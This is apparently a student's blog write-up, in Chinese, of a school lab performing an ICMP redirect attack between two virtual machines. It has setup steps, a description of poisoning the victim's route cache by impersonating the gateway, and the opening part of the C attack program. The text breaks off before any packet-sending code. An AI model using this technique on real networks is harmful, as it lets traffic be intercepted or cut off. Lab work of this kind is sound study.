学校的一次实验,敲的挺辛苦的,就不多说了,看注释吧。
记得把网卡打开为混杂模式:sudo ifconfig [device_name] promisc
这样攻击者(192.168.1.128)虚拟机就能嗅探到另一台受害者(192.168.1.129)虚拟机的数据包了
参数格式: -g [重定向ip地址] -i [原来的网关地址]
攻击效果如下:
首先是攻击者视角,抓到的一些包(受害者在ping百度):
接下来是受害者视角:攻击者伪装成网关(192.168.1.2)给受害者发送重定向数据包,之后可以查看受害者主机的路由表缓存。在攻击者没有开启转发功能的话,受害者ping不通百度。此状态最多持续5分钟,因为这是路由表缓存的有效时间。
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<netinet/ip_icmp.h>
#include<netinet/tcp.h>
#include<netinet/udp.h>
#include<arpa/inet.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<netinet/ether.h>
#define BUFFSIZE 2048 //数据缓冲区大小
#define FRAME_HEADER_SIZE 14 //帧头部大小
#define MAC_ADDRESS_SIZE 6 //MAC帧地址大小
#define IP_HEADER_SIZE 20 //IP头部大小
// 对接收的报文数量进行编号
static int count =0;
// 基于IP层的常见协议类型枚举
enum PROTOCOL{
ICMP = 1,
IGMP = 2,
IP = 4,
TCP = 6,
UDP = 17
};
// 以太网协议类型枚举
enum Ether_Type{
IPv4 = 0x0800,
ARP = 0x0806,
RARP = 0x8035,
IPv6 = 0x86dd
};
// 常用ICMP类型
enum ICMP_Type{
Echo_Reply = 0,
Destination_Unreachable = 3,
Redirect = 5,
Echo_Request = 8,
};
// ICMP重定向报文头部定义
struct icmp_header{
/* data */
uint8_t icmp_type;
uint8_t icmp_code;
uint16_t icmp_checksum;
};
// ICMP重定向报文IP数据报
// 数据报内容:
// 1)IP头部: (20 bytes)
// 2)ICMP头部: (4 bytes)
// 3)新网关IP: (4 bytes)
// 4)被重定向IP报文首部及payload前8字节:(28 bytes)
struct icmp_redirect_datagram{
struct ip ip_header;
struct icmp_header icmp_header;
struct in_addr gateway_addr;
unsigned char ip_datagram[28];
};
// @description 将icmp类型转换为字符串
// @param icmp_type ICMP头部字段icmp_type值
// @param buf 字符数组指针,指向ICMP类型字符串
void to_icmp_type(uint8_t icmp_type, char (*buf)[10]){
switch(icmp_type){
case Echo_Reply: strcpy(*buf,"Echo Reply");break;
case Destination_Unreachable: strcpy(*buf,"Unreachable");break;
case Redirect: strcpy(*buf,"Redirect");break;
case Echo_Request: strcpy(*buf,"Echo Request");break;
default: strcpy(*buf,"unknown");
}
}
// @description 将protocol类型转换为协议类型字符串
// @param ip_protocol IP头部protocol字段值
// @param buf 字符数组指针,存储协议类型字符串
void to_protocol(uint8_t ip_protocol,char (*buf)[10]){
switch(ip_protocol){
case ICMP: strcpy(*buf,"ICMP");break;
case IGMP: strcpy(*buf,"IGMP");break;
case IP: strcpy(*buf,"IP");break;
case TCP: strcpy(*buf,"TCP");break;
case UDP: strcpy(*buf,"UDP");break;
default: strcpy(*buf,"unknown");
}
}
// @description: 将原始数据转换为协议类型字符串
// @param buf: 指针,指向帧头部表示EhterType字段的两个字节
// @param type: 数组指针,指向保存协议类型字符串的数组
void to_ether_type